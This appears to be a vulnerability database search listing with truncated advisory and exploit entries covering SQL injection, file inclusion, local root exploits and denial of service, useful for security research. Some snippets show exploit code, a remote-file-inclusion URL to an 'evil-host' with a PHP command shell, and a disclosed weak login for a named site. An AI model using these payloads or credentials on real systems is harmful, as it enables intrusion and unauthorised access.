56796 matches found
OpenBB 1.0.8 Read.PHP SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13624/info OpenBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could resul...
Xxasp 3.3.2 - SQL Injection
Securitylab.ir Application Info: Name: Xxasp Version: 3.3.2 Discoverd By: [email protected] Website: http://securitylab.ir Contacts: adminatsecuritylab.ir & info@securitylabdotir ===========================================================...
Adobe ColdFusion 9 Administrative Login Bypass
No description provided by source. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 +------------------------------------------------------------------------------+ | Packet Storm Advisory 2013-0819-2 | | http://packetstormsecurity.com/ |...
IBM AIX <= 5.3 sp6 capture Terminal Sequence Local Root Exploit
No description provided by source. / 07/2007: public release IBM AIX = 5.3 sp6 AIX capture Local Root Exploit By qaaz / include stdio.h include stdlib.h include string.h include fcntl.h include unistd.h include sys/wait.h include sys/select.h define TARGET /usr/bin/capture define VALCNT 40 define...
shop7z 注入漏洞
简要描述： shop7z 注入漏洞 详细说明： Advsearchadmin.asp kindnum=trimrequest"kindnum" pipai=trimrequest"pipai" model=trimrequest"model" productname=trimrequest"productname" price11=trimrequest"price11" price12=trimrequest"price12" price21=trimrequest"price21" price22=trimrequest"price22" if price11="" then...
Microsoft Tagged Image File Format (TIFF) Integer Overflow
No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' require 'rex/zip' require 'nokogiri' module ::Nokogiri module XML class Builder Some XML documents don't declare the...
N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
No description provided by source. N/X - Web CMS N/X WCMS 4.5 Multiple Vulnerability =================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ /'...
青果教务管理系统管理功能越权
简要描述： 通过浏览器调试模式将管理端已关闭的功能重新开启 详细说明： 系统仅通过样式表禁用系统功能，并未从业务层禁止。 通过开发者模式可以在本地实现修改。 漏洞证明： 1.启动F12开发者模式，定位到被禁用的功能。 2.修改style color样式（如果没有新添加该属性）为任意颜色。...
U-Mail邮件服务系统任意文件上传+执行漏洞（runtime缺陷与验证绕过）
简要描述： 产品介绍摘自官网 U-Mail专注于电子邮件领域15年，为企业轻松搭建最安全稳定的电子邮件系统软件。 关键字：15年 最安全 最稳定 15年 最安全 最稳定 , woxaole,这么奇葩的代码，这么奇葩的设计、这么奇葩的配置、这么奇葩的、超常轻松的、利用正常的不能再正常的功能就可以拿到shell的系统，我服了... 涉及：金融、政府、银行，石油、军队、证券行业等重要部门，影响非常巨大，经测试受影响率：99.8%100% 场外话：我很想把农业银行拿下来的,想想还是算了,毕竟随便改卡里的数字,成土豪了，这样是极其不安全的.. 详细说明： 1 产品介绍...
Joomla! Pbbooking组件'manage.php'跨站脚本漏洞
Bugtraq ID:66257 CVE ID:CVE-2013-5955 Joomla!是一套在国外相当知名的内容管理系统。 Joomla! Pbbooking组件'manage.php'脚本不正确过滤用户提交的输入，允许远程攻击者利用漏洞进行跨站脚本攻击，可获取敏感信息或劫持用户会话。 0 Joomla! Pbbooking 2.4 目前没有详细解决方案提供： http://www.joomla.org/ form...
Microsoft .NET Framework 远程拒绝服务漏洞(CVE-2014-0253)(MS14-009)
BUGTRAQ ID: 65415 CVECAN ID: CVE-2014-0253 .NET就是微软的用来实现XML，Web Services，SOA（面向服务的体系结构service-oriented architecture）和敏捷性的技术。.NET Framework是微软开发的软件框架，主要运行在Microsoft Windows上。 Microsoft ASP.NET中存在拒绝服务漏洞，可使攻击者造成ASP.NET服务器不响应。 0 Microsoft .NET Framework 4.x Microsoft .NET Framework 3.x Microsoft .NET...
Oracle Java Runtime Environment 未明远程代码执行漏洞(CVE-2012-3174)
Bugtraq ID:57312 CVE ID:CVE-2012-3174 Oracle Java Runtime Environment是一款为JAVA应用程序提供可靠的运行环境的解决方案 Oracle Java Runtime Environment存在一个未明安全漏洞，允许攻击者构建恶意WEB页，诱使用户解析，可以应用程序上下文执行任意代码 0 Sun JRE Windows Production Release 1.7.04 Sun JRE Windows Production Release 1.7.02 Sun JRE Solaris Production Release...
Python SimpleXMLRPCServer远程拒绝服务漏洞
BUGTRAQ ID: 51996 CVE ID: CVE-2012-0845 Python是一种面向对象、直译式计算机程序设计语言，也是一种功能强大的通用型语言。 Python在实现上存在远程拒绝服务漏洞，攻击者可通过特制的HTTP POST请求利用此漏洞造成拒绝服务。 此漏洞源于在处理POST请求时，"SimpleXMLRPCRequestHandler.doPOST"方法没有正确处理EOF，可通过特制的请求导致较高的CPU消耗。 0 python 3.x python 2.7.x 厂商补丁： Python ------...
PHP "Intl"扩展"NumberFormatter::setSymbol()"函数拒绝服务漏洞
BUGTRAQ ID: 46968 CVE ID: CVE-2011-1467 PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。 PHP "Intl"扩展"NumberFormatter::setSymbol"函数在实现上存在拒绝服务漏洞，远程攻击者可利用此漏洞造成应用程序崩溃，拒绝服务和任意代码执行。 MandrakeSoft Corporate Server 4.0 x8664 MandrakeSoft Corporate Server 4.0 PHP PHP 5.x 厂商补丁： PHP ---...
Apache Tomcat v. 5.5.0 to 5.5.29 & 6.0.0 to 6.0.26 information disclosure vulnerability
No description provided by source. CVE-2010-1157: Apache Tomcat information disclosure vulnerability Severity: Low Vendor: The Apache Software Foundation Versions Affected: - - Tomcat 6.0.0 to 6.0.26 - - Tomcat 5.5.0 to 5.5.29 Note: The unsupported Tomcat 3.x, 4.x and 5.0.x versions may also be...
Linux Kernel ext4_fill_flex_info函数拒绝服务漏洞
CVE ID: CVE-2009-4307 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的ext4子系统fs/ext4/super.c文件中的ext4fillflexinfo函数中存在拒绝服务漏洞。如果用户所加载的 ext4文件系统中的超级块带有超大的FLEXBG组大小（也称为sloggroupsperflex值），groupsperflex就会溢出，导致0除数错误，系统可能会崩溃。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
ToutVirtual VirtualIQ Multiple Vulnerabilities
No description provided by source. Secure Network - Security Research Advisory Vuln name: ToutVirtual VirtualIQ Pro Multiple Vulnerabilities Systems affected: ToutVirtual VirtualIQ Professional 3.2 build 7882 Systems not affected: -- Severity: High Local/Remote: Remote Vendor URL:...
Linux Kernel AppleTalk内存泄漏远程拒绝服务漏洞
Bugraq ID: 36379 CVE ID：CVE-2009-2903 Linux是一款开放源代码的操作系统。 Linux Kernel AppleTalk处理部分AppleTalk-IP数据帧存在内存泄漏，远程攻击者可以利用漏洞发送大量类似数据帧对系统进行拒绝服务攻击。 当Linux主机加载了appletalk和ipddp模块时，在检查ipddpN设备过程中如果该设备不存在handleipoverddp...
Linux Kernel sock.c SO_BSDCOMPAT选项信息泄露漏洞
BUGTRAQ ID: 33846 CVECAN ID: CVE-2009-0676 Linux Kernel是开放源码操作系统Linux所使用的内核。 在Linux Kernel的net/core/sock.c文件的sockgetsockopt函数中，如果设置了SOBSDCOMPA选项的话optval v.val就会被错误的初始化并直接返回给用户域，导致信息泄露。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
Mambo Component mambads <= 1.0 RC1 Beta SQL Injection Vulnerability
No description provided by source. !/usr/bin/perl -w Mambo Component mambads 1.0 RC1 Beta & 1.0 RC1 Remote SQL Injection Found by : Houssamix From H-T Team H-T Team HouSSaMix + ToXiC350 from MoroCCo Greetz : Stack & CoNaN & HaCkeREgY & room-hacker & Hak3r-b0y & All friends & All muslims HaCkeRs :...
Ruby 1.8.6 (Webrick Httpd 1.3.1) Directory Traversal Vulnerability
No description provided by source. ------------------------------------------------------------------------------------ Digital Security Research Group DSecRG Advisory DSECRG-08-018...
TUTOS 1.3 (cmd.php) Remote Command Execution Vulnerability
No description provided by source. AUTHOR : H-T TeaM HouSSaMix ToXiC350 HOME : http://no-hack.net Script : TUTOS Tested in version 1.3 other versions may also be affected. Download : http://www.tutos.org/homepage/index.html BUG : Command Execution Vulnerability...
Wordpress XMLRPC.PHP SQL注入漏洞
Wordpress是一款基于PHP的WEB应用程序。 Wordpress不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息。 问题是'XMLRPC.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息。 WordPress WordPress 2.2 目前没有解决方案提供： http://wordpress.org/ http://www.sebug.net/show-exp-1993.html...
EsForum 3.0 (forum.php idsalon) Remote SQL Injection Vulnerability
No description provided by source. ------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script: EsForum 3.0 Script Download: http://www.editeurscripts.com/scripts/dl-esforum-3.html Contact: ilker Kandemir...
Microsoft Help Workshop .HPJ文件缓冲区溢出漏洞
Microsoft Help Workshop是一款用于构建和管理帮助对象的应用工具。 Microsoft Help Workshop处理畸形.hpj文件存在问题，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 问题存在于'OPTIONS'段中的'HLP'字段中的文件路径变量HelpFilePathString01缺少正确的边界条件检查，当字符串长度超过256字节，程序可导致缓冲区溢出。攻击者构建一个恶意.hpj文件，当使用Microsoft Help Workshop处理时可导致缓冲区溢出，精心构建提交数据可能以应用程序进程权限执行任意指令。 Microsoft Help...
3Com TFTP超长传输模式字段远程缓冲区溢出漏洞
3CTftpSvc是一款Windows 9x/NT/XP平台下的TFTP服务器，实现TFTPv2协议。 3CTftpSvc在处理超长畸形的请求时存在漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。 3CTftpSvc TFTP服务器在处理传送给GET或PUT命令的超长传输模式（大于470字节）时存在缓冲区溢出。如果攻击者向服务器发送了特制报文请求的话就会触发这个漏洞，导致拒绝服务或执行任意指令。 3Com 3CTftpSvc TFTP Server 2.0.1 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...
WordPress <= 1.5.1.1 ""add new admin"" SQL Injection Exploit
No description provided by source. !/usr/bin/perl WordPress = 1.5.1.1 sql injection "add new admin" exploit by RST/GHC , http://rst.void.ru , http://ghc.ru coded by 1dt.w0lf use LWP::UserAgent; use Getopt::Std; use HTTP::Cookies; use Digest::MD5 qwmd5hex; getopts'h:p:'; $path = $opth; $pref = $op...
ocPortal 1.0.3 Remote File Inclusion
No description provided by source. http://localhost/ocp-103/index.php?reqpath=http ://evil-host/ On your evil host you must put scipt funcs.php. Example of funcs.php if your host doesn't support php. ?php $com = $GET"com"; system "$com"; ? Example of funcs.php if your host support php. ?php echo...
New ownerAnyone Bug Allows For Anyone to ''Own'' Certain ERC20-Based Smart Contracts (CVE-2018-10705)
This morning, our vulnerability-scanning system at PeckShield identified a new vulnerability named ownerAnyone in certain ERC20-based smart contracts such as AURA, which is deployed by a decentralized banking and finance platform – AURORA. This bug, if successfully exploited, might introduce the...
CPP-Ethereum JSON-RPC miner_setEtherbase improper authorization Vulnerability(CVE-2017-12115)
Summary An exploitable improper authorization vulnerability exists in minersetEtherbase API of cpp-ethereum's JSON-RPC commit 4e1015743b95821849d001618a7ce82c7c073768. A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON t...
Circle with Disney Backup API Command Injection Vulnerability(CVE-2017-2866)
Summary An exploitable vulnerability exists in the /api/CONFIG/backup functionality of Circle with Disney. Specially crafted network packets can cause an OS command injection. An attacker can send an HTTP request trigger this vulnerability. Tested Versions Circle with Disney Product URLs...
Libarchive zip zip_read_mac_metadata Code Execution Vulnerability(CVE-2016-1541)
SUMMARY An exploitable heap overflow vulnerability exists in the zip archive decompression functionality of libarchive. A specially crafted zip file can cause memory corruption leading to code execution. An attacker can send a malformed file to trigger this vulnerability. TESTED VERSIONS libarchi...
Synology Photo Station Unauthenticated Remote Code Execution
Vulnerability Summary The following advisory describes a Remote Code Execution found in Synology Photo Station versions 6.7.3-3432 and earlier / 6.3-2967 and earlier. Personal Photo Station is an online photo album with blog owned and managed by a DSM user. Synology NAS provides the home/photo...
Apache Tomcat packaging on Debian-based distros - Local Root Privilege Escalation
I. VULNERABILITY ------------------------- Apache Tomcat® packaging on Debian-based distros - Local Root Privilege Escalation Affected debian packages: Tomcat 8 = 8.0.36-2 Tomcat 7 = 7.0.70-2 Tomcat 6 = 6.0.45+dfsg-1deb8u1 Ubuntu systems are also affected. See section VII. for details. Other...
Mallbuilder /mallbuilder/aboutus.php文件 type 参数SQL注入漏洞
0x01 漏洞概述 相关厂商： 上海远丰信息科技有限公司 官方主页： shop-builder.cn 提交时间： 2015-06-17 公开时间： 2015-09-20 漏洞类型： SQL注射漏洞 谷歌关键字： powered by mallbuilder 在文件product/admin/cpmod.php中，id参数未过滤造成注入。 0x02 漏洞详情 首先来看看全局文件 function magic if!getmagicquotesgpc&&isset$POST foreach$POST as $key=$v if!isarray$v $POST$key=addslashes$v...
用友某系统从弱口令到sql注射到getshell
简要描述： 弱口令、sql注射、getshell 详细说明： 系统地址： http://vip.ufida.com.cn/Frame/Index.aspx 弱口令帐号：adminnc 密码：adminnc 在自助查询处，发现注入（需要登录，注意cookie有时效） GET http://vip.ufida.com.cn/RepositorySearchInfo/DoctInfo.aspx?ReposID=38d4a08e-8b79-4de7-8566-30aecfb1d56f HTTP/1.1 Accept: text/html, application/xhtml+xml, /...
TinyRise最新版前台任意文件包含漏洞
简要描述： TinyRise最新版20140926任意文件包含漏洞，一定条件下，可getshell 详细说明： 漏洞发生在framework/web/controller/Controllerclass.php文件的renderExecute函数： renderExecute函数存在extract变量覆盖，关键代码如下： public function renderExecute$runfile0123456789,$data0123456789 ...//省略无关代码 if$datas0123456789!==null extract$datas0123456789;...
Internet Security Systems ICECap Manager 2.0.23 Default Username and Password
No description provided by source. source: http://www.securityfocus.com/bid/1216/info ICECap Manager is a management console for BlackICE IDS Agents and Sentries. By default, ICECap Manager listens on port 8081, transmits alert messages to another server on port 8082, and has an administrative...
Ammyy Admin 3.2 - Authentication Bypass
No description provided by source. Title: ==== Ammyy Admin - Hidden hard-coded option and Access Control vulnerability. Credit: ====== Name: Bhadresh Patel Company/affiliation: Cyberoam Technologies Private Limited Website: www.cyberoam.com CVE: ==== - CVE-2013-5581 for hidden hard-coded option...
wordpress <= 3.3.1 - Multiple Vulnerabilities
No description provided by source. Trustwave's SpiderLabs Security Advisory TWSL2012-002: Multiple Vulnerabilities in WordPress https://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txt Published: 1/24/12 Version: 1.0 Vendor: WordPress http://wordpress.org/ Product: WordPress Version...
TotalCalendar <= 2.30 (inc) Remote File Include Vulnerability
No description provided by source. Title: TotalCalendar =2.30 - Remote File Include Vulnerability ----------------------------------------------------------------- Vendor: SweetPHP URL: http://sweetphp.com ----------------------------------------------------------------- Credits: Discovered by:...
Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit
No description provided by source. / hoagieudpsendmsg.c LOCAL LINUX KERNEL ROOT EXPLOIT 2.6.19 - CVE-2009-2698 udpsendmsg bug exploit via output callback function used in dstentry / rtable Bug reported by Tavis Ormandy and Julien Tinnes of the Google Security Team Tested with Debian Etch r0 $ cat...
Linux Kernel <= 3.13 - Local Privilege Escalation PoC (gid)
No description provided by source. / CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC Vitaly Nikolenko http://hashcrack.org Usage: ./poc filepath where filepath is the file on which you want to set the sgid bit / define GNUSOURCE include sys/wait.h include sched.h include stdio.h include...
PHP Hashtables Denial of Service
No description provided by source. Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service Exploit Date: 1/1/12 Author: infodox Software Link: php.net Version: 5.3. Tested on: Linux CVE : CVE-2011-4885 Exploit Download -- http://infodox.co.cc/Downloads/phpdos.txt ?php / PHP 5.3. Hash...
Veryide 2.1 /library.php SQL注入漏洞
No description provided by source...
Zfsoft EAMS /report/xscj_report.aspx 信息泄漏漏洞
No description provided by source...
Linux Kernel空指针间接引用本地拒绝服务漏洞
Bugtraq ID:66543 CVE ID:CVE-2014-2678 Linux Kernel是一款开源的操作系统。 Linux kernel net/rds/iw.c中的函数rdsiwladdrcheck存在本地拒绝服务漏洞，本地用户通过盲系统调用没有RDS传输的系统上的RDS套接字，利用此漏洞可造成空指针间接引用和系统崩溃。 0 Linux kernel 3.x 目前厂商已经发布了升级补丁以修复漏洞，请下载使用： http://www.kernel.org/...
Belkin Wemo Home Automation 'peerAddresses' API XML外部实体注入漏洞
BUGTRAQ ID: 65623 CVECAN ID: CVE-2013-6948 Belkin Wemo Home Automation devices 是家电远程控制系列产品。 Belkin Wemo Home Automation API服务器存在XML注入漏洞，通过XML注入可攻击peerAddresses API，从而泄露系统文件的内容。 0 Belkin Wemo Home Automation 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...
Cisco WebEx Training Center培训注册跨站脚本漏洞
Bugtraq ID:64277 CVE ID:CVE-2013-6963 Cisco WebEx Training Center是一款互动式培训解决方案，可开展电子教学。 Cisco WebEx Training Center培训中心注册页面不正确过滤用户提交的输入，允许远程攻击者利用漏洞构建恶意URI，诱使用户解析，可获取敏感信息或劫持用户会话。 0 Cisco WebEx Training Center 厂商补丁： Cisco ----- 用户可参考如下厂商提供的安全公告获得补丁信息：...
SPICE 'reds_handle_ticket()'函数远程拒绝服务漏洞
BUGTRAQ ID: 63408 CVECAN ID: CVE-2013-4282 SPICE是开源虚拟桌面解决方案。 SPICE的redshandleticket函数对'password'缓冲区内的解密密码使用了大小固定的尺寸SPICEMAXPASSWORDLENGTH，存在栈缓冲区溢出漏洞，攻击者在建立了到客户端的SPICE连接后，可利用此漏洞造成客户端崩溃。 0 freedesktop spice 0.12.4-0nocelt1.1 freedesktop spice 0.11.0-1 厂商补丁： freedesktop -----------...